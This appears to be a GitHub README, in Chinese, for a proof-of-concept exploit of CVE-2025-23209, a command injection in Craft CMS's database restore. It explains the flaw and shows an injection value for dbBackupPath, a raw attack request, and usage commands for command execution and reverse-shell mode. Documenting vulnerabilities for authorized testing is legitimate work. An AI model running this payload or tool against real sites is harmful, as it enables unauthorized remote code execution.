farid-khelil/CVE_2025_23209

GitHub: farid-khelil/CVE_2025_23209

针对 Craft CMS 数据库恢复工作流命令注入漏洞(CVE-2025-23209)的 PoC 利用脚本,支持远程命令执行和反弹 Shell。

Stars: 0 | Forks: 0

# CVE-2025-23209 仅供经过授权的安全测试和研究环境使用。 ## 漏洞概述 `CVE-2025-23209` 是 Craft CMS 数据库恢复工作流中的一个命令注入漏洞。 在受影响的版本中,攻击者控制的备份路径值可以从已签名的请求数据中进入 shell 命令构建过程,而未经上下文安全的清理。 受影响范围: - Craft CMS `>= 4.0.0-RC1` 且 `< 4.13.8` - Craft CMS `>= 5.0.0-RC1` 且 `< 5.5.8` 已修复版本: - `4.13.8` - `5.5.8` ## Craft CMS 内部行为 本节仅解释内部机制,与特定的 CTF 路由/路径无关。 ### 执行调用图(概念性) ``` HTTP POST (signed data + CSRF) -> Request validation layer -> getValidatedBodyParam('data') -> JSON decode -> Updater restore action -> DB connection restore(filePath) -> restore command template expansion -> shell/process execution ``` ### 1. 请求完整性与请求安全性 Craft 通过以下方式验证请求完整性: 1. POST 操作的 CSRF/会话检查 2. 使用 `CRAFT_SECURITY_KEY` 进行签名的 body 参数验证 概念性代码片段: ``` $validated = Craft::$app->getRequest()->getValidatedBodyParam('data'); $this->data = Json::decode($validated); ``` 这证明了 payload 相对于密钥的真实性,但并不能保证每个字段在后续的每次执行上下文中都是安全的。 ### 2. 恢复工作流边界 在较高层次上: 1. Controller 接收已验证的 payload 2. 从 payload 中读取 `dbBackupPath` 3. 使用该值调用 DB 恢复 API 概念性结构: ``` Craft::$app->getDb()->restore($this->data['dbBackupPath']); ``` 当旨在表示文件路径的数据字段随后被嵌入到 shell 命令文本中时,风险便由此产生。 ### 3. Token 展开与 Shell 上下文 对于基于 MySQL 的安装,恢复操作依赖于带有 token 替换(例如 `{file}`)的命令模板。 如果 token 替换作为普通字符串替换执行,而没有严格的命令上下文转义,路径数据就可以变成 shell 语法。 ### 4. 进程执行边界 展开后,命令字符串由进程/shell 包装器执行。 此时,引用规则和元字符控制着具体行为。 在应用层被视为“仅仅是一个路径”的值,在 shell 层可能会被解释为可执行语法。 ### 5. 威胁模型缺口 - 如果 `CRAFT_SECURITY_KEY` 存在泄露的可能,那么受签名保护的端点就必须仍然假定会接收到恶意构造但有效的 payload。 ### 6. 命令注入 如果 `dbBackupPath` = `"; whoami #` 该命令将变为: ``` mysql --defaults-file=/tmp/xxx dbname < ""; whoami #" ``` 这将作为**独立的命令**执行: 1. `mysql ... < ""`(失败) 2. `whoami`(成功执行的命令!) 3. `#`(注释掉末尾的 `"`) ### 7. 原始请求 ``` POST /admin/actions/updater/restore-db HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Cookie: CraftSessionId=... data=&CRAFT_CSRF_TOKEN= ``` ## 漏洞利用前提 - `CRAFT_SECURITY_KEY` 已被泄露 - 能够访问 Craft CMS 更新器端点 - 具备有效的 CSRF/会话上下文(或能够绕过) ## 脚本使用 本仓库包含: - `CVE_2025_23209.py` 其自动化执行的操作: 1. 构建 `dbBackupPath` payload 2. 尝试从常见的 CP 页面引导 CSRF/会话 3. 以兼容的模式对 payload 进行签名 4. 尝试常见的更新器端点变体 5. 发送请求并输出诊断提示 ### 环境要求 - Python 3.9+ - `requests` 安装: ``` python3 -m pip install requests ``` ### CLI 帮助 ``` python3 CVE_2025_23209.py -h ``` ### 基本命令执行 ``` python3 CVE_2025_23209.py \ --url http:// \ --security-key \ --command "id" ``` ### 反向 Shell 模式 ``` python3 CVE_2025_23209.py \ --url http:// \ --security-key \ --lhost \ --lport 4444 ``` ### 签名模式 ``` --signature-mode auto|hex|raw_b64|blob_b64 ``` 建议使用 `auto` 进行兼容性检查。 ## 解读常见响应 ### `400 无法验证您提交的数据。` 通常意味着以下情况之一: 1. `CRAFT_SECURITY_KEY` 不正确 2. CSRF/会话引导失败 3. 端点路由不匹配 4. 签名模式不匹配 ### `302` 重定向 通常表示该部署环境中的路由/认证/会话行为存在差异。 ### 类似 `Invalid backup path` 的错误 通常表明已激活修补/加固的路径检查。 ## 负责任的使用 仅在您拥有或获得明确授权进行测试的系统上使用此信息。 未经书面许可,请勿针对第三方基础设施运行漏洞利用代码。 ## 参考文献 - NVD: - GHSA 公告: - Craft CMS 补丁提交:
标签:CISA项目, CMS漏洞, Craft CMS, CVE-2025-23209, OpenVAS, PHP, PoC, RCE, URL发现, Web安全, 反弹Shell, 命令注入, 安全检测, 暴力破解, 漏洞复现, 蓝队分析, 逆向工具